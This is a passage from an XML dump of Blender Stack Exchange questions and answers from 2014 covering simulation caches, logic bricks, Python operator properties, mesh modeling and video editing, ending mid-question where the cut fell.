  <row Id="14490" PostTypeId="2" ParentId="7786" CreationDate="2014-07-29T11:00:58.173" Score="8" Body="&lt;p&gt;When doing simulations in blender the results will be cached as you play through the animation. Most simulations will only keep the cache data in RAM until the blend file is saved, when you will get an option of saving the cache to a folder located next to the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While each simulation has it's own variations, the most common simulation cache options are -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wvnuu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By ticking the Disk Cache option the simulation data will be saved to a folder called &lt;code&gt;blendcache_caching&lt;/code&gt;, if you give a name to the item in the list by &lt;kbd&gt;Ctrl&lt;/kbd&gt; clicking it will be used as the beginning of each filename otherwise a random number will be used to distinguish each simulations data in the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some exceptions to this. Rigid body caching is only saved within the blend file. Smoke and fluid caches are always disk based. Fluid, dynamic paint, and ocean modifier simulations use their own cache folder that you can rename if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the Disk Cache option is only available after you first save the blend file, fluid and ocean caches will initially be saved within &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;c:\tmp&lt;/code&gt; on windows if the simulation is run before the file is saved. These temp file caches can be manually moved and adjusted in the cache settings if you bake before saving.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="599" LastEditDate="2014-07-31T02:46:40.493" LastActivityDate="2014-07-31T02:46:40.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14491" PostTypeId="1" CreationDate="2014-07-29T11:07:31.453" Score="4" ViewCount="1939" Body="&lt;p&gt;In the Logic editor in Blender 2.7x I can't find the &lt;em&gt;Touch&lt;/em&gt; sensor. Where is it? Or how duplicate it's function to detect anything.&lt;/p&gt;&#xA;" OwnerUserId="5405" LastEditorUserId="2217" LastEditDate="2014-07-29T13:57:22.927" LastActivityDate="2014-07-29T13:57:22.927" Title="Where is the Touch Sensor in 2.7x?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14492" PostTypeId="2" ParentId="14489" CreationDate="2014-07-29T12:54:45.463" Score="4" Body="&lt;p&gt;What you can do is just delete the python folder from the Blender directory (or move it to have a backup) and Blender will look for python preinstalled on the system. Note that the version must match (current Blender python version is 3.5.0, it works with 3.5.1 though) and environment variables need to be set (at least under Windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/info_tips_and_tricks.html#bundled-python-extensions&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="55" LastEditDate="2016-06-07T03:25:57.243" LastActivityDate="2016-06-07T03:25:57.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14493" PostTypeId="2" ParentId="14480" CreationDate="2014-07-29T13:09:53.023" Score="6" Body="&lt;p&gt;The properties of an operator only exist for the duration of the operator being run. When placing a button in a panel you can include a single property value like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.operator(&quot;my.operator&quot;).property = 271&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the operator is run by clicking the button it's property will be set to 271.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to pass more than one argument assign the returned instance of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.UILayout.html?highlight=uilayout#bpy.types.UILayout.operator&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;OperatorProperties&lt;/code&gt;&lt;/a&gt; to a variable and modify its attributes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;operator_props = row.operator(&quot;my.operator&quot;)&#xA;operator_props.prop_name1 = 42&#xA;operator_props.prop_name2 = &quot;foo&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way to have more than one value available that can be set in a panel and used by an operator is to move them to a location that can be accessed by both the panel and the operator.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These could be global module variables that are defined in your script but outside both the panel and operator classes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a property for the Window Manager. Items stored in the ID dictionary of the Window Manager are not saved to the blend file. You might use a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.props.html#propertygroup-example&quot; rel=&quot;noreferrer&quot;&gt;PropertyGroup&lt;/a&gt; to easily pack your properties.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.WindowManager.my_operator_props = \&#xA;    bpy.props.PropertyGroup(MyPropertyGroup)&#xA;&#xA;bpy.context.window_manager.my_operator_props.prop = 42 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The operator could retrieve these in its invoke method to initialize its own properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make your script an addon you could also create a &lt;code&gt;bpy.types.AddonPreferences&lt;/code&gt; subclass to hold your settings that can be adjusted in the preferences and also displayed in a panel for easier access.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="2271" LastEditDate="2014-07-29T17:51:30.270" LastActivityDate="2014-07-29T17:51:30.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14494" PostTypeId="2" ParentId="14482" CreationDate="2014-07-29T13:26:07.560" Score="6" Body="&lt;p&gt;The way I would go about that example, there would be separate objects for the hub and the blade. In the situation you described there is no reason to add vertices to the hub and extrude the blades out. In a real propeller there are separate pieces. There is no need to make modeling and texturing the propeller harder then it needs to be.&lt;br&gt;&#xA;Another way to look at it, what do you gain by having the blades extruded from the hub? From modeling, texturing, rigging and animating in this case it is all easier with separate objects.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-29T13:26:07.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14495" PostTypeId="2" ParentId="14491" CreationDate="2014-07-29T13:33:02.053" Score="3" Body="&lt;p&gt;The &lt;em&gt;Touch&lt;/em&gt; sensor has been removed, but in its place there is a updated &lt;em&gt;Collision&lt;/em&gt; sensor.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QwPwI.png&quot; alt=&quot;Collision sensor&quot;&gt;&lt;br&gt;&#xA;The &lt;em&gt;M/P&lt;/em&gt; button will toggle the Collision sensor only targeting a property or material.&lt;br&gt;&#xA;To target anything, just leave the property field blank.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-29T13:33:02.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14496" PostTypeId="2" ParentId="14481" CreationDate="2014-07-29T13:53:13.103" Score="3" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;knife tool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a plane along the X Y axis, go to top view &lt;kbd&gt;NumPad 7&lt;/kbd&gt;. Press &lt;kbd&gt;K&lt;/kbd&gt; that starts the knife tool. To constrain the new edge to a straight ling press &lt;kbd&gt;C&lt;/kbd&gt;. Then &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; click on the top edge, move the mouse down and &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; click on the last edge.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WaEBQ.png&quot; alt=&quot;knife tool&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2014-07-29T14:45:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14497" PostTypeId="1" AcceptedAnswerId="14500" CreationDate="2014-07-29T14:14:27.653" Score="3" ViewCount="325" Body="&lt;p&gt;I couldn't figure out how to bend one side of a planar mesh like the edges on that side follow a circle. I also want this bending effect to fade smoothly towards the other edge. It is like square(projected) piece cut out from a sphere but I want to control the fading effect and I also want one side of the piece to be a line. I thought, this is a primitive thing, it cannot be considered as &quot;do the modeling for me&quot; request. I'm sorry, If I'm not in the right place to ask such a question. I tried different modifiers but I couldn't converge to what I was willing to see. What is the easiest way of doing this in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I tried to sketch it:&#xA;In this sketch, side view shows that from B to C it is bended. This is the final thing that I want to model. Then, I will repeat this round a cylinder. That part is easy. But, initially, I have to figure out how to bend one side of the mesh from B to C like in the first figure. The edges connected to the corner A are just lines. And the shape is symmetrical.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7dXMX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5408" LastEditorUserId="5408" LastEditDate="2014-07-29T14:51:55.310" LastActivityDate="2014-07-30T18:07:55.620" Title="How to bend one side of a planar mesh fade the bending effect towards the other side" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14498" PostTypeId="5" CreationDate="2014-07-29T14:58:41.923" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Editor&quot; rel=&quot;nofollow&quot;&gt;Logic Editor&lt;/a&gt; documentation on the blender wiki.&lt;br&gt;&#xA;The logic editor is used to arrange Logic bricks which are &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Sensors&quot; rel=&quot;nofollow&quot;&gt;sensors&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Controllers&quot; rel=&quot;nofollow&quot;&gt;controllers&lt;/a&gt;, and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators&quot; rel=&quot;nofollow&quot;&gt;actuators&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-29T15:46:40.020" LastActivityDate="2014-07-29T15:46:40.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14499" PostTypeId="4" CreationDate="2014-07-29T14:58:41.923" Score="0" Body="Logic bricks are the sensors, controllers, and actuators in the Logic Editor. They are used in the BGE." OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-05-28T13:29:02.490" LastActivityDate="2015-05-28T13:29:02.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14500" PostTypeId="2" ParentId="14497" CreationDate="2014-07-29T15:22:31.543" Score="4" Body="&lt;p&gt;Here is how to do it. Doing it with modifiers isn't possible as far as I know. If you need more control, comment.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start by adding a circle. &lt;/li&gt;&#xA;&lt;li&gt;rotate the circle by 90 degrees on the X axis(&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;). &lt;/li&gt;&#xA;&lt;li&gt;Delete the bottom half of it.&lt;/li&gt;&#xA;&lt;li&gt;Take the bottom to vertices and duplicate the by 2 units on the y axis (&lt;kbd&gt;Shift-D&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;). &#xA;&lt;img src=&quot;https://i.stack.imgur.com/HEjTgm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;fill the two vertices.&lt;/li&gt;&#xA;&lt;li&gt;hit (&lt;kbd&gt;Ctrl-R&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;add 1 less loop cuts then half the number of vertices in your circle you can use the scroll wheel to do this.&lt;/li&gt;&#xA;&lt;li&gt;Join up all the faces (&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;E&lt;/kbd&gt;&gt;&lt;em&gt;Bridge Edgeloops&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;add some loop cuts until your faces are about square.&lt;/li&gt;&#xA;&lt;li&gt;tweak the shape using proportional editing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CY2e8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-29T17:21:32.520" LastActivityDate="2014-07-29T17:21:32.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14501" PostTypeId="1" AcceptedAnswerId="14502" CreationDate="2014-07-29T16:13:15.693" Score="6" ViewCount="4214" Body="&lt;p&gt;I am facing difficulties to use Poly Reducer script in current Blender version (v2.71). When I selecting my mesh Edit Mode, I do not see any &quot;Script Window&quot; options inside Mesh menu. I also found in &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.4/Py/Scripts/Mesh/Mesh_poly_reduce&quot;&gt;Blender Wiki&lt;/a&gt; that this script is included only in versions 2.42a - 2.46. Unfortunately v2.46 is not supported on my Mac (I tried that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was interested if there is a way to use Poly Reducer script with current Blender version? If yes, how? If no - are there alternative options in Blender to reduce polygons?&lt;/p&gt;&#xA;" OwnerUserId="5409" LastEditorUserId="3127" LastEditDate="2014-07-29T16:21:50.173" LastActivityDate="2014-07-30T08:10:09.057" Title="Poly Reducer issues in Blender 2.71" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14502" PostTypeId="2" ParentId="14501" CreationDate="2014-07-29T16:20:33.370" Score="7" Body="&lt;p&gt;The &lt;strong&gt;decimate modifier&lt;/strong&gt; is the closet alternative. I find &lt;em&gt;Un-subdivide&lt;/em&gt; to be the best(using even numbers of iterations generally creates better results), the other methods are good to, just try all of them for the best results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, in Blender 2.4x the decimator didn't support UV's, vertex groups and it triangulated everything, however the decimator now supports these - so there is no need for the script.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="55" LastEditDate="2014-07-30T08:10:09.057" LastActivityDate="2014-07-30T08:10:09.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14504" PostTypeId="2" ParentId="14489" CreationDate="2014-07-29T18:00:08.993" Score="1" Body="&lt;p&gt;You might try to extend &lt;code&gt;sys.path&lt;/code&gt; to use modules installed with another python distribution on your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default installation of python 3.4 uses these paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\system32\python34.zip&#xA;C:\Python34\DLLs&#xA;C:\Python34\lib&#xA;C:\Python34&#xA;C:\Python34\lib\site-packages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-29T18:00:08.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14505" PostTypeId="1" AcceptedAnswerId="14507" CreationDate="2014-07-29T18:30:48.777" Score="15" ViewCount="23200" Body="&lt;p&gt;I have made a video composed of several videos with transitions etc, but they all have a 80px black strip on the top and bottom, and I'd like to remove it (so that the video's height is 160px less). &lt;strong&gt;How do I crop the video?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5412" LastEditorUserId="3127" LastEditDate="2014-07-29T19:15:50.777" LastActivityDate="2020-03-26T10:43:27.437" Title="How do I crop everything in Video Editor?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14507" PostTypeId="2" ParentId="14505" CreationDate="2014-07-29T19:29:12.070" Score="15" Body="&lt;p&gt;You can group your clips in to a &lt;strong&gt;meta strip&lt;/strong&gt; by selecting them and hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt;. If you want to edit the clips inside it after grouping them, select your &lt;em&gt;meta strip&lt;/em&gt; and hit &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now apply an &lt;em&gt;Image Crop&lt;/em&gt; to the &lt;em&gt;meta strip&lt;/em&gt; in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;). Be sure to check Image Offset. You will also need to change the render dimensions to the correct size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Screenshot:&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/F5FMF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F5FMF.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can avoid the need to crop in the video sequence editor entirely by performing the crop in the render dimensions. Simply set the dimensions to the target aspect ratio for you image.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="527" LastEditDate="2016-01-27T21:31:56.510" LastActivityDate="2016-01-27T21:31:56.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14508" PostTypeId="1" CreationDate="2014-07-29T20:04:29.633" Score="7" ViewCount="1341" Body="&lt;p&gt;I've been trouble-shooting a fluid simulation and something that kept sticking in my throat was that my Fluid World scene size was set to 0.5 meters when my domain was actually much larger than that.  It's my understanding that that domain size controls the displacements and iterations but the control was deactivated so I couldn't increase the setting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sJPaA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJPaA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;I figured out that if I set the Scene units to &lt;em&gt;NONE&lt;/em&gt; that I could go back and change the setting.  A test bake with units on &lt;em&gt;NONE&lt;/em&gt; and the domain size set to 7.5 appeared similar to the one with the units set to &lt;em&gt;Meters&lt;/em&gt; reporting a domain size of 0.5.  Do I need to manually set that value in order to get an accurate fluid simulation or is the size calculated automatically with the units set?&lt;/p&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="2217" LastEditDate="2014-07-29T22:22:16.317" LastActivityDate="2015-01-26T23:00:40.620" Title="Does the setting for domain size make a difference if the units are set to something other than None?" Tags="&lt;fluid-simulation&gt;&lt;units&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14509" PostTypeId="1" AcceptedAnswerId="14556" CreationDate="2014-07-29T20:38:10.293" Score="10" ViewCount="23798" Body="&lt;p&gt;I've been working with the VSE for a while and everything was fine. But all of the sudden, when I play the preview the sound doesn't play. I think I must've disabled it somewhere, but I can't manage to find the place. It doesn't matter if I start a new project, sound doesn't play so I think it must be some kind of configuration. Does anyone know what could have happened? (Computer's sound is working fine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I have found &lt;a href=&quot;https://developer.blender.org/T33840&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; thread. I'm running Blender on Debian 7.0 unstable, and maybe an update has messed my setup. Thing is that any other app works fine, music player, vlc, games, the only one that does not work is Blender, but as the link suggests it could be a setup problem not having to do with Blender. I'll do my homework and come back if I can manage to find a solution to post it here.&lt;/p&gt;&#xA;" OwnerUserId="3535" LastEditorUserId="3535" LastEditDate="2014-07-30T21:07:44.883" LastActivityDate="2019-01-19T15:00:51.787" Title="No sound in VSE" Tags="&lt;video-sequence-editor&gt;&lt;audio&gt;" AnswerCount="4" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14510" PostTypeId="1" CreationDate="2014-07-29T20:41:58.453" Score="0" ViewCount="107" Body="&lt;p&gt;My Blender to Unity work flow includes a texture baking process once a model has been finished. So my model will be built in Blender and textured with multiple textures and once I'm happy with the rendered result I finally bake the textures and shadows onto a 2nd UVTexure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that to get the 2nd UVTex to import and show in Unity I have to delete the 1st (master) UVTex in Blender. Now I could do with keeping the 1st UVTex so I can keep tweaking and re-baking as I improve the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is it possible to order the UVTexture files in Blender? So I can swap the 1st listed UVtex with the 2nd (and vice versa)? It seems that Unity will show only the 1st listed UVTex so I would like to move the 2nd (baked) UVTex into 1st place.&lt;/p&gt;&#xA;" OwnerUserId="5413" LastEditorUserId="2217" LastEditDate="2014-07-30T17:45:38.923" LastActivityDate="2014-07-30T17:45:38.923" Title="Blender multiple UVTex order" Tags="&lt;uv&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14511" PostTypeId="1" AcceptedAnswerId="14512" CreationDate="2014-07-29T21:27:26.653" Score="2" ViewCount="5849" Body="&lt;p&gt;I'm trying to use the number pad shortcuts to control the views, Left, Right, Back, etc. It isn't working, though. It only works when I click on the view through the menu.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8h5ED.png&quot; alt=&quot;viewport&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, these little boxes are lighting up.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wkuYi.png&quot; alt=&quot;layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so that my Number Pad keys will have the desired effect?&lt;/p&gt;&#xA;" OwnerUserId="5414" LastEditorUserId="2217" LastEditDate="2014-07-30T17:43:26.220" LastActivityDate="2014-07-30T17:43:26.220" Title="Changing 3D Perspective Views using the NumPad" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14512" PostTypeId="2" ParentId="14511" CreationDate="2014-07-29T21:31:08.363" Score="1" Body="&lt;p&gt;Try checking &lt;strong&gt;Emulate Numpad&lt;/strong&gt; in the User Preferences(&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3wIBQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-29T21:31:08.363" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14513" PostTypeId="1" CreationDate="2014-07-29T23:22:48.303" Score="1" ViewCount="289" Body="&lt;p&gt;Is it possible for Blender to automatically add every translation or scale that I performed, no matter what I performed it on and then display it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I moved a point on the X axis by 1 unit, deselected and reselected and  moved it again by 1 unit, it would display that I moved a total of 2 units (same thing if I scaled). It doesn't matter if I selected something else instead, what matters is that it adds the translations or scales together and displays them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there an add-on that does this? I tried looking for it but I couldn't find it.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2015-03-29T01:55:40.013" Title="Is it possible to make translation and scaling accumulate?" Tags="&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14514" PostTypeId="1" AcceptedAnswerId="14515" CreationDate="2014-07-30T00:14:14.807" Score="10" ViewCount="10697" Body="&lt;p&gt;How to make an edge loop that is parallel to one of the sides of the face loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not this - &lt;img src=&quot;https://i.stack.imgur.com/jqP9D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this - &lt;img src=&quot;https://i.stack.imgur.com/AdgK5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="2217" LastEditDate="2014-07-30T00:35:42.707" LastActivityDate="2021-04-07T19:55:55.273" Title="How to make an edge loop that is parallel to one of the sides of the face loop?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14515" PostTypeId="2" ParentId="14514" CreationDate="2014-07-30T00:41:44.417" Score="12" Body="&lt;p&gt;If you need a new loop cut:&lt;br /&gt;&#xA;In edit mode, press &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt; to add a new  loop cut. Then during edge slide press &lt;kbd&gt;E&lt;/kbd&gt; which aligns the new loop to one of the adjacent face loops. &lt;kbd&gt;F&lt;/kbd&gt; switches between face loops.&lt;/p&gt;&#xA;&lt;p&gt;If a new edge loop is not needed:&lt;br /&gt;&#xA;Then select a edge loop &lt;kbd&gt;alt&lt;/kbd&gt; &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt;. Press &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;E&lt;/kbd&gt; &amp;gt; &lt;em&gt;Edge Slide&lt;/em&gt; to start the edge sliding, then during edge slide press &lt;kbd&gt;E&lt;/kbd&gt; which aligns the new loop to one of the adjacent face loops. &lt;kbd&gt;F&lt;/kbd&gt; switches between face loops.&lt;/p&gt;&#xA;&lt;p&gt;These are the options for edge slide as shown in the 3D view header.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ooq86.png&quot; alt=&quot;edge slide options&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="66773" LastEditDate="2021-04-07T19:55:55.273" LastActivityDate="2021-04-07T19:55:55.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14516" PostTypeId="1" AcceptedAnswerId="14568" CreationDate="2014-07-30T02:30:07.403" Score="4" ViewCount="1651" Body="&lt;p&gt;With the logic setup below I'm trying to pause the game, then on any key stroke resume where it was paused. Trouble is when the BGE is &lt;em&gt;Paused&lt;/em&gt; it seemingly can't listen for any input.&lt;br&gt;&#xA;&lt;sub&gt;click image for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/besZx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/besZx.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-30T12:38:00.850" LastActivityDate="2015-10-20T05:49:12.467" Title="How to pause the BGE and then resume" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14517" PostTypeId="2" ParentId="9136" CreationDate="2014-07-30T03:08:10.190" Score="1" Body="&lt;p&gt;In 2.71 the boolean modifier works in the game engine.&lt;br&gt;&#xA;The limitations are that the modifier is static, the way the booleaned object looks at the start of the game is how it is going to stay. You can for example rotate the base object (the object with the boolean modifer) and it will rotate properly, with all booleaned intersection moving properly. However if one of the target objects (objects used as the object to target in the modifier) is moved, it will not change the mesh at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both objects are showing, it may be that both objects are in the game. Move the target objects to a different layer that is not in the game.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-30T03:08:10.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14518" PostTypeId="1" AcceptedAnswerId="14528" CreationDate="2014-07-30T04:51:55.640" Score="4" ViewCount="630" Body="&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/14400/how-to-get-length-of-specific-ray-type-and-use-that-as-color&quot;&gt;How to get length of specific ray type and use that as color?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the idea is to use the Light Path node's Ray Length to form the basis for ambient occlusion but the Camera position relative to the object is a part of the Ray Length info and this makes such a calculation difficult since this alter the results based on how far a specific position is to the camera.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a demonstration of what I mean&lt;img src=&quot;https://i.stack.imgur.com/kQWPq.gif&quot; alt=&quot;enter image description here&quot;&gt;.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a node setup that shows this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v2jIR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For AO to work, this effect has to be cancelled out since the dirt and grime which tends to accumulate in crevices will not be affected by how far the viewer is from the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this.  Does anyone have some ideas on how to remove the camera influence from the 